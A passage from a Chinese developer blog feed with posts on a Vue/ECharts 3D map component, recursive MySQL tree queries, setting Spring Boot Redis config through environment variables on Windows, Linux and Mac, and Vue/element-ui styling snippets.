class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br></pre></td><td class="code"><pre><span class="line">&lt;template&gt;</span><br><span class="line">&lt;vab-chart</span><br><span class="line">           class=&quot;jp-chart e-h-350&quot;</span><br><span class="line">           :init-options=&quot;initOptions&quot;</span><br><span class="line">           :option=&quot;phChartOption&quot;</span><br><span class="line">           ref=&quot;phChartRef&quot;</span><br><span class="line">           theme=&quot;vab-echarts-theme&quot;</span><br><span class="line">           /&gt;</span><br><span class="line">&lt;/template&gt;</span><br><span class="line"></span><br><span class="line">&lt;script&gt;</span><br><span class="line">import GeoChart from &quot;@/extra/GeoChart&quot;;</span><br><span class="line"></span><br><span class="line">export default &#123;</span><br><span class="line">  name: &quot;index&quot;,</span><br><span class="line">  props: &#123;</span><br><span class="line">    proCity: &#123;</span><br><span class="line">      type: String,</span><br><span class="line">      default: &#x27;&#x27;</span><br><span class="line">    &#125;,</span><br><span class="line">    proCityName: &#123;</span><br><span class="line">      type: String,</span><br><span class="line">      default: &#x27;&#x27;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;,</span><br><span class="line">  data() &#123;</span><br><span class="line">    return &#123;</span><br><span class="line">      initOptions: &#123;</span><br><span class="line">        renderer: &#x27;svg&#x27;,</span><br><span class="line">      &#125;,</span><br><span class="line">      mapOption: &#123;&#125;,</span><br><span class="line">      level: &#x27;city&#x27;,</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;,</span><br><span class="line">  components: &#123;GeoChart&#125;,</span><br><span class="line">  mounted: function () &#123;</span><br><span class="line">  &#125;,</span><br><span class="line">  created() &#123;</span><br><span class="line">    this.initMapGeo();</span><br><span class="line">  &#125;,</span><br><span class="line">  computed: &#123;&#125;,</span><br><span class="line">  watch: &#123;</span><br><span class="line">    proCity() &#123;</span><br><span class="line">      this.initMapGeo();</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;,</span><br><span class="line">  methods: &#123;</span><br><span class="line">    initMapGeo() &#123;</span><br><span class="line">      this.mapOption = &#123;</span><br><span class="line">        // backgroundColor: &quot;#220392&quot;,</span><br><span class="line">        title: &#123;</span><br><span class="line">          text: this.proCityName,</span><br><span class="line">          x: &#x27;left&#x27;,</span><br><span class="line">          top: &quot;20&quot;,</span><br><span class="line">          textStyle: &#123;</span><br><span class="line">            color: &#x27;#000&#x27;,</span><br><span class="line">            fontSize: 24</span><br><span class="line">          &#125;</span><br><span class="line">        &#125;,</span><br><span class="line">        tooltip: &#123;</span><br><span class="line">          show: true,</span><br><span class="line">        &#125;,</span><br><span class="line">        geo3D: &#123;</span><br><span class="line">          map: &#x27;china&#x27;,</span><br><span class="line">          // roam: true,</span><br><span class="line">          itemStyle: &#123;</span><br><span class="line">            color: &#x27;#4887f6&#x27;,</span><br><span class="line">            areaColor: &#x27;#48D9FF&#x27;,</span><br><span class="line">            opacity: 1,</span><br><span class="line">            borderWidth: 0.8,</span><br><span class="line">            borderColor: &#x27;#ffffff&#x27;</span><br><span class="line">          &#125;,</span><br><span class="line">          label: &#123;                // 标签的相关设置</span><br><span class="line">            show: true,                 // (地图上的城市名称)是否显示标签 [ default: false ]</span><br><span class="line">            textStyle: &#123;                // 标签的字体样式</span><br><span class="line">              color: &#x27;#ffffff&#x27;,                  // 地图初始化区域字体颜色</span><br><span class="line">              fontSize: 12,                    // 字体大小</span><br><span class="line">              opacity: 1,                     // 字体透明度</span><br><span class="line">              backgroundColor: &#x27;rgba(0,23,11,0)&#x27;,     // 字体背景色</span><br><span class="line">              fontWeight: &#x27;bold&#x27;</span><br><span class="line">            &#125;,</span><br><span class="line">          &#125;,</span><br><span class="line">          //shading: &#x27;lambert&#x27;,</span><br><span class="line">          light: &#123; //光照阴影</span><br><span class="line">            main: &#123;</span><br><span class="line">              color: &#x27;#fff&#x27;, //光照颜色</span><br><span class="line">              intensity: 1.2, //光照强度</span><br><span class="line">              //shadowQuality: &#x27;high&#x27;, //阴影亮度</span><br><span class="line">              shadow: true, //是否显示阴影</span><br><span class="line">              alpha: 35,</span><br><span class="line">              beta: 10</span><br><span class="line"></span><br><span class="line">            &#125;,</span><br><span class="line">            ambient: &#123;</span><br><span class="line">              intensity: 0.3</span><br><span class="line">            &#125;</span><br><span class="line">          &#125;,</span><br><span class="line"></span><br><span class="line">        &#125;,</span><br><span class="line">        series: [</span><br><span class="line">          &#123;</span><br><span class="line">            //配置路径</span><br><span class="line">            type: &#x27;lines3D&#x27;,</span><br><span class="line">            coordinateSystem: &#x27;geo3D&#x27;,</span><br><span class="line">            polyline: &#x27;true&#x27;,</span><br><span class="line">            blendMode: &#x27;lighter&#x27;,</span><br><span class="line">            zlevel: 102,</span><br><span class="line">            effect: &#123;</span><br><span class="line">              show: true,</span><br><span class="line">              trailWidth: 3,</span><br><span class="line">              trailOpacity: 0.5,</span><br><span class="line">              trailLength: 0.2,</span><br><span class="line">              constantSpeed: 5</span><br><span class="line">            &#125;,</span><br><span class="line">            label: &#123;                // 标签的相关设置</span><br><span class="line">              show: true,                 // (地图上的城市名称)是否显示标签 [ default: false ]</span><br><span class="line">              //distance: 50,               // 标签距离图形的距离，在三维的散点图中这个距离是屏幕空间的像素值，其它图中这个距离是相对的三维距离</span><br><span class="line">              //formatter:,               // 标签内容格式器</span><br><span class="line">              textStyle: &#123;                // 标签的字体样式</span><br><span class="line">                color: &#x27;#000&#x27;,                  // 地图初始化区域字体颜色</span><br><span class="line">                fontSize: 8,                    // 字体大小</span><br><span class="line">                opacity: 1,                     // 字体透明度</span><br><span class="line">                backgroundColor: &#x27;rgba(0,23,11,0)&#x27;      // 字体背景色</span><br><span class="line">              &#125;,</span><br><span class="line">            &#125;,</span><br><span class="line">            lineStyle: &#123;</span><br><span class="line">              color: &#x27;#FFB728&#x27;,</span><br><span class="line">              opacity: 0.8,</span><br><span class="line">              width: 1.5</span><br><span class="line">            &#125;,</span><br><span class="line">            data: [</span><br><span class="line">              &#123;</span><br><span class="line">                coords: [[113.149649, 22.617641], [112.88089, 22.583612]],</span><br><span class="line">                // 数据值</span><br><span class="line">                value: 100,</span><br><span class="line">                // 数据名</span><br><span class="line">                name: &#x27;测试一&#x27;,</span><br><span class="line">                // 线条样式</span><br><span class="line">                lineStyle: &#123;&#125;,</span><br><span class="line">              &#125;, &#123;</span><br><span class="line">                coords: [[112.316858, 22.186088], [112.88089, 22.583612]],</span><br><span class="line">                // 数据值</span><br><span class="line">                value: 100,</span><br><span class="line">                // 数据名</span><br><span class="line">                name: &#x27;测试二&#x27;,</span><br><span class="line">                // 线条样式</span><br><span class="line">                lineStyle: &#123;&#125;</span><br><span class="line">              &#125;</span><br><span class="line">            ]</span><br><span class="line">          &#125;,</span><br><span class="line">        ]</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line">&lt;/script&gt;</span><br><span class="line"></span><br><span class="line">&lt;style scoped&gt;</span><br><span class="line">&lt;/style&gt;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="效果">效果</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/10/2c0d68c1c584ad517bf28d7b91d1b371.gif" alt=""></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h3 id=&quot;引入echarts依赖&quot;&gt;引入echarts依赖&lt;/h3&gt;
&lt;figure class=&quot;highlight plaintext&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;</summary>
      
    
    
    
    <category term="vue" scheme="https://blog.allbs.cn/categories/vue/"/>
    
    
    <category term="3d" scheme="https://blog.allbs.cn/tags/3d/"/>
    
    <category term="map" scheme="https://blog.allbs.cn/tags/map/"/>
    
    <category term="地图" scheme="https://blog.allbs.cn/tags/%E5%9C%B0%E5%9B%BE/"/>
    
  </entry>
  
  <entry>
    <title>在mysql中查询最终组装为树形结构的数据</title>
    <link href="https://blog.allbs.cn/posts/33016/"/>
    <id>https://blog.allbs.cn/posts/33016/</id>
    <published>2022-09-30T07:57:00.000Z</published>
    <updated>2025-11-28T06:48:01.046Z</updated>
    
    <content type="html"><![CDATA[<h2 id="根据某一个id查出所有父级、祖级、包括当前节点">根据某一个id查出所有父级、祖级、包括当前节点</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">SELECT</span><br><span class="line">T2.* </span><br><span class="line">FROM</span><br><span class="line">(</span><br><span class="line">SELECT</span><br><span class="line">@r AS _id,</span><br><span class="line">( SELECT @r := parent_id FROM sys_city WHERE id = _id ) AS parent_id,</span><br><span class="line">@l := @l + 1 AS lvl </span><br><span class="line">FROM</span><br><span class="line">( SELECT @r := 真实id, @l := 0 ) vars,</span><br><span class="line">sys_city h </span><br><span class="line">WHERE</span><br><span class="line">@r &lt;&gt; 0 </span><br><span class="line">) T1</span><br><span class="line">JOIN sys_city T2 ON T1._id = T2.id </span><br><span class="line">ORDER BY</span><br><span class="line">T1.lvl DESC</span><br></pre></td></tr></table></figure><h2 id="根据某一个父级id查出所有子级、孙级、包括当前节点">根据某一个父级id查出所有子级、孙级、包括当前节点</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">SELECT</span><br><span class="line">            id, name, parent_id</span><br><span class="line">        FROM</span><br><span class="line">            (SELECT</span><br><span class="line">             t1.id,</span><br><span class="line">             IF(FIND_IN_SET(parent_id, @parentId) &gt; 0, @parentId:=CONCAT(@parentId, &#x27;,&#x27;, id), 0) AS ischild,</span><br><span class="line">             name,parent_id</span><br><span class="line">             FROM</span><br><span class="line">             (SELECT</span><br><span class="line">              id, parent_id, name</span><br><span class="line">              FROM</span><br><span class="line">              sys_city t</span><br><span class="line">              ORDER BY parent_id , id, name) t1, (SELECT @parentId:= #&#123;parentId&#125;) t2) t3</span><br><span class="line">        WHERE</span><br><span class="line">            ischild != 0</span><br><span class="line"></span><br><span class="line">union select id, name, parent_id from sys_city where id = #&#123;parentId&#125;;</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">根据子级某个节点查询出所有上级节点或者根据某个父级节点查询出所有下级节点</summary>
    
    
    
    <category term="mysql" scheme="https://blog.allbs.cn/categories/mysql/"/>
    
    
    <category term="mysql" scheme="https://blog.allbs.cn/tags/mysql/"/>
    
  </entry>
  
  <entry>
    <title>spring boot配置文件中环境变量的使用说明</title>
    <link href="https://blog.allbs.cn/posts/34269/"/>
    <id>https://blog.allbs.cn/posts/34269/</id>
    <published>2022-09-21T02:36:00.000Z</published>
    <updated>2025-11-28T06:48:01.066Z</updated>
    
    <content type="html"><![CDATA[<h2 id="根据项目设置独有的字符串，区分不同项目">根据项目设置独有的字符串，区分不同项目</h2><h3 id="以redis为例说明">以redis为例说明</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/09/028a443604bbdc2cfa53702ae588f816.png" alt="image-20220921101303480"></p><h3 id="redis需要配置项为四项">redis需要配置项为四项</h3><ul><li>database: 环境变量需要设置为<code>IMSP_REDIS_DB_DEV</code>,默认值为<mark class="hl-label red">0</mark></li><li>host: 环境变量需要设置为<code>IMSP_REDIS_HOST_DEV</code>, 默认值<mark class="hl-label red">imsp-redis-dev</mark>,同样为字符串，下文说明</li><li>port: 环境变量需要设置为<code>IMSP_REDIS_PORT_DEV</code>, 默认值为<mark class="hl-label red">6379</mark></li><li>password: 环境变量需要设置为<code>IMSP_REDIS_PWD_DEV</code>, 较为私密, 默认值随意。</li></ul><h2 id="开发者对本地环境进行配置以满足项目需要，而不是对项目中的通用配置进行修改，并且还反复修改后上传git库！！！">开发者对本地环境进行配置以满足项目需要，而不是对项目中的通用配置进行修改，并且还反复修改后上传git库！！！</h2><h3 id="windows">windows</h3><h4 id="host配置，即上方默认值为字符串而不是固定ip的内容。">host配置，即上方默认值为字符串而不是固定ip的内容。</h4><p>修改本地hosts文件，目录为<code>C:\Windows\System32\drivers\etc</code></p><p>添加内容(根据实际情况添加！下方内容只是本项目适用)</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">127.0.0.1 imsp-redis-dev</span><br></pre></td></tr></table></figure><p>可以借助软件来管理及修改如软件<code>switchhosts</code>, <code>utools的hosts插件</code>，</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/09/194563727194ac5abd37c1608f556a0e.png" alt="image-20220921102351449"></p><h4 id="环境变量配置">环境变量配置</h4><p>此电脑-&gt;属性-&gt;高级系统设置</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/09/0df1a701b73cd82eb88c9621745b420d.png" alt="image-20220921102602194"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/09/e705770bccb05d505386babb6377a3df.png" alt="image-20220921102804078"></p><h4 id="打开管理员的cmd并打印环境变量名使其生效">打开管理员的cmd并打印环境变量名使其生效</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/09/c93dd8e7cc972887a06101a1b45dbc80.png" alt="image-20220921102849691"></p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> %IMSP_REDIS_PWD_DEV%</span><br></pre></td></tr></table></figure><h4 id="idea中有缓存，配置好后一定要重启idea！">idea中有缓存，配置好后一定要重启idea！</h4><h4 id="重启项目即可">重启项目即可</h4><h3 id="linux">linux</h3><h4 id="修改hosts文件">修改hosts文件</h4><p>所在位置为<code>etc/hosts</code></p><p>添加内容</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">127.0.0.1 imsp-redis-dev</span><br></pre></td></tr></table></figure><h4 id="配置环境变量">配置环境变量</h4><p>执行以下代码</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&quot; &quot;</span>&gt;&gt;/etc/profile</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;# Made for Redis dev by 你的姓名 on <span class="subst">$(date +%F)</span>&quot;</span>&gt;&gt;/etc/profile</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;export IMSP_REDIS_DB_DEV=你的redis使用的database&#x27;</span>&gt;&gt;/etc/profile</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;export IMSP_REDIS_HOST_DEV=imsp-redis-dev&#x27;</span>&gt;&gt;/etc/profile</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;export IMSP_REDIS_PORT_DEV=你的redis的端口号&#x27;</span>&gt;&gt;/etc/profile</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;export IMSP_REDIS_PWD_DEV=你的密码&#x27;</span>&gt;&gt;/etc/profile</span><br><span class="line"><span class="built_in">tail</span> -4 /etc/profile</span><br><span class="line"><span class="built_in">source</span> /etc/profile</span><br><span class="line"><span class="built_in">echo</span> <span class="variable">$PATH</span></span><br></pre></td></tr></table></figure><h3 id="mac">mac</h3><p>mac同linux, 只是<code>etc/profile</code>文件更改为<code>~/.bash_profile</code></p>]]></content>
    
    
    <summary type="html">开发过程中存在多个环境，如不同的redis、mysql、minio环境等，未保证配置文件的唯一性，不过被不同开发者随意修改并上传，所以统一规定使用系统环境变量来控制，最终达到不修改配置文件而成功使用不同开发环境的目的。同时避免源码泄露导致个人开发环境中host、账号密码登信息泄露。</summary>
    
    
    
    <category term="windows" scheme="https://blog.allbs.cn/categories/windows/"/>
    
    
    <category term="Windows" scheme="https://blog.allbs.cn/tags/Windows/"/>
    
    <category term="linux" scheme="https://blog.allbs.cn/tags/linux/"/>
    
    <category term="mac" scheme="https://blog.allbs.cn/tags/mac/"/>
    
    <category term="环境变量" scheme="https://blog.allbs.cn/tags/%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F/"/>
    
  </entry>
  
  <entry>
    <title>前端代码示例及记录</title>
    <link href="https://blog.allbs.cn/posts/796/"/>
    <id>https://blog.allbs.cn/posts/796/</id>
    <published>2022-09-15T08:03:00.000Z</published>
    <updated>2025-11-28T06:48:01.066Z</updated>
    
    <content type="html"><![CDATA[<h2 id="背景图片自适应大小">背景图片自适应大小</h2><figure class="highlight scss"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">background-image</span>: <span class="built_in">url</span>(<span class="string">&quot;../../static/permission/login-bg.png&quot;</span>);</span><br><span class="line"><span class="attribute">background-repeat</span>: no-repeat;</span><br><span class="line"><span class="attribute">background-size</span>: <span class="number">100%</span> <span class="number">100%</span>;</span><br><span class="line"><span class="attribute">height</span>: <span class="number">100vh</span>;</span><br><span class="line"><span class="attribute">width</span>: <span class="number">100vw</span>;</span><br></pre></td></tr></table></figure><h2 id="点击非目标元素使目标消失">点击非目标元素使目标消失</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">&lt;img src=&quot;../../static/equip/tip.png&quot; class=&#x27;has-tooltip&#x27; @click=&quot;clickImg&quot; @click.stop=&quot;tooltipShow = true&quot;/&gt;</span><br><span class="line">&lt;div class=&quot;tooltip-div&quot; v-bind:class=&quot;tooltipShow ? &#x27;o-1&#x27; : &#x27;o-0&#x27;&quot; ref=&quot;showTooltip&quot;&gt;</span><br><span class="line">&lt;span class=&#x27;tooltip&#x27;&gt;图片能明确本治理设施风量，活性炭设计使用量以及活性炭更换周期的相关支撑文件（工程设计文本，环评报告等）&lt;/span&gt;</span><br><span class="line">&lt;/div&gt;</span><br></pre></td></tr></table></figure><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-class">.o-0</span> &#123;</span><br><span class="line">  <span class="attribute">opacity</span>: <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="selector-class">.o-1</span> &#123;</span><br><span class="line">  <span class="attribute">opacity</span>: <span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">data() &#123;</span><br><span class="line">    return &#123;</span><br><span class="line">    tooltipShow: false,</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br><span class="line">methods: &#123;</span><br><span class="line">clickImg()&#123;</span><br><span class="line">      this.tooltipShow = true;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;,</span><br><span class="line">created() &#123;</span><br><span class="line">  document.addEventListener(&#x27;click&#x27;, (e) =&gt; &#123;</span><br><span class="line">    if (this.$refs.showTooltip) &#123;</span><br><span class="line">      let isSelf = this.$refs.showTooltip.contains(e.target)</span><br><span class="line">      if (!isSelf) &#123;</span><br><span class="line">        this.tooltipShow = false</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/09/69b2c5efe6f26f1ce6cfddb518b77db8.gif" alt="hide"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;背景图片自适应大小&quot;&gt;背景图片自适应大小&lt;/h2&gt;
&lt;figure class=&quot;highlight scss&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span cla</summary>
      
    
    
    
    <category term="vue" scheme="https://blog.allbs.cn/categories/vue/"/>
    
    
    <category term="css" scheme="https://blog.allbs.cn/tags/css/"/>
    
    <category term="scss" scheme="https://blog.allbs.cn/tags/scss/"/>
    
  </entry>
  
  <entry>
    <title>element-ui 组件样式修改</title>
    <link href="https://blog.allbs.cn/posts/13486/"/>
    <id>https://blog.allbs.cn/posts/13486/</id>
    <published>2022-09-09T08:03:00.000Z</published>
    <updated>2025-11-28T06:48:01.062Z</updated>
    
    <content type="html"><![CDATA[<h3 id="el-select-样式修改">el-select 样式修改</h3><h4 id="原生">原生</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/09/f618de207e53718ab771ddebd462fcd4.png" alt="image-20220909160542012"></p><h4 id="修改后">修改后</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/09/766b03fe24dcd9d86669219ce529b96c.png" alt="image-20220909160602079"></p><h4 id="组件">组件</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">&lt;el-select</span><br><span class="line">           v-model=&quot;czValue&quot;</span><br><span class="line">           default-first-option</span><br><span class="line">           size=&quot;small&quot;</span><br><span class="line">           class=&quot;e-m-t-20 e-m-l-20&quot;</span><br><span class="line">           style=&quot;width: 100px&quot;</span><br><span class="line">           &gt;</span><br><span class="line">    &lt;el-option</span><br><span class="line">               v-for=&quot;item in czList&quot;</span><br><span class="line">               :key=&quot;item.code&quot;</span><br><span class="line">               :label=&quot;item.name&quot;</span><br><span class="line">               :value=&quot;item.code&quot;&gt;</span><br><span class="line">    &lt;/el-option&gt;</span><br><span class="line">&lt;/el-select&gt;</span><br></pre></td></tr></table></figure><h4 id="修改样式代码">修改样式代码</h4><p>注意vue文件<code>&lt;style&gt;</code>修改为 <code>&lt;style scoped lang=&quot;scss&quot;&gt;</code></p><figure class="highlight scss"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">/deep/ <span class="selector-class">.el-input__inner</span> &#123;</span><br><span class="line">  <span class="attribute">background</span>: <span class="number">#ffeeee</span>;</span><br><span class="line">  <span class="attribute">border</span>: none;</span><br><span class="line">  <span class="attribute">font-size</span>: <span class="number">14px</span>;</span><br><span class="line">  <span class="attribute">opacity</span>: <span class="number">0.6</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">/deep/<span class="selector-class">.el-icon-arrow-up</span><span class="selector-pseudo">:before</span> &#123;</span><br><span class="line">  <span class="attribute">content</span>: <span class="string">&#x27;\e78f&#x27;</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="el-tabs-样式修改">el-tabs 样式修改</h3><h4 id="原生-2">原生</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/09/1d255bb20e72156c9e6a4e9ad9db07c0.png" alt="image-20220909160830710"></p><h4 id="修改后-2">修改后</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/09/6b42b6693eef427b5eceefbe110c0900.png" alt="image-20220909160901163"></p><h4 id="组件-2">组件</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">&lt;el-tabs tab-position=&quot;top&quot; v-model=&quot;gjxxActive&quot;&gt;</span><br><span class="line">    &lt;el-tab-pane label=&quot;饱和度&quot; name=&quot;1&quot;&gt;</span><br><span class="line">        &lt;span slot=&quot;label&quot;&gt;</span><br><span class="line">            &lt;svg-icon :icon-class=&quot;gjxxActive === &#x27;1&#x27; ? &#x27;gjxx-c-1&#x27; : &#x27;gjxx-1&#x27;&quot; class=&quot;e-m-r-15 e-m-l-10&quot;/&gt;</span><br><span class="line">            饱和度</span><br><span class="line">        &lt;/span&gt;</span><br><span class="line">        &lt;div style=&quot;overflow:auto&quot; class=&quot;gjj-div&quot;&gt;</span><br><span class="line">            &lt;ul class=&quot;e-h-160&quot;&gt;</span><br><span class="line">                &lt;li v-for=&quot;(item, index) in htxAlarmList&quot; :key=&quot;index&quot; class=&quot;gj-li e-flex infinite-list-item&quot;&gt;</span><br><span class="line">                    &lt;img class=&quot;gj-li-img&quot; :src=&quot;item.status === 1 ? warnSrc : alarmSrc&quot;&gt;</span><br><span class="line">                    &lt;div class=&quot;c-gray e-font-14&quot;&gt;&#123;&#123; item.content &#125;&#125;&lt;/div&gt;</span><br><span class="line">                &lt;/li&gt;</span><br><span class="line">            &lt;/ul&gt;</span><br><span class="line">        &lt;/div&gt;</span><br><span class="line">    &lt;/el-tab-pane&gt;</span><br><span class="line">    &lt;el-tab-pane label=&quot;污处异常&quot; name=&quot;2&quot;&gt;</span><br><span class="line">        &lt;span slot=&quot;label&quot;&gt;</span><br><span class="line">            &lt;svg-icon :icon-class=&quot;gjxxActive === &#x27;2&#x27; ? &#x27;gjxx-c-2&#x27; : &#x27;gjxx-2&#x27;&quot; class=&quot;e-m-r-15 e-m-l-10&quot;/&gt;</span><br><span class="line">            污处异常</span><br><span class="line">        &lt;/span&gt;</span><br><span class="line">        &lt;div style=&quot;overflow:auto&quot; class=&quot;gjj-div&quot;&gt;</span><br><span class="line">            &lt;ul&gt;</span><br><span class="line">                &lt;li v-for=&quot;(item, index) in wcAlarmList&quot; :key=&quot;index&quot; class=&quot;gj-li e-flex infinite-list-item&quot;&gt;</span><br><span class="line">                    &lt;img class=&quot;gj-li-img&quot; :src=&quot;item.status === 1 ? warnSrc : alarmSrc&quot;&gt;</span><br><span class="line">                    &lt;div class=&quot;c-gray e-font-14&quot;&gt;&#123;&#123; item.content &#125;&#125;&lt;/div&gt;</span><br><span class="line">                &lt;/li&gt;</span><br><span class="line">            &lt;/ul&gt;</span><br><span class="line">        &lt;/div&gt;</span><br><span class="line">    &lt;/el-tab-pane&gt;</span><br><span class="line">&lt;/el-tabs&gt;</span><br></pre></td></tr></table></figure><h4 id="修改样式代码-2">修改样式代码</h4><p>注意vue文件<code>&lt;style&gt;</code>修改为 <code>&lt;style scoped lang=&quot;scss&quot;&gt;</code></p><figure class="highlight scss"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span 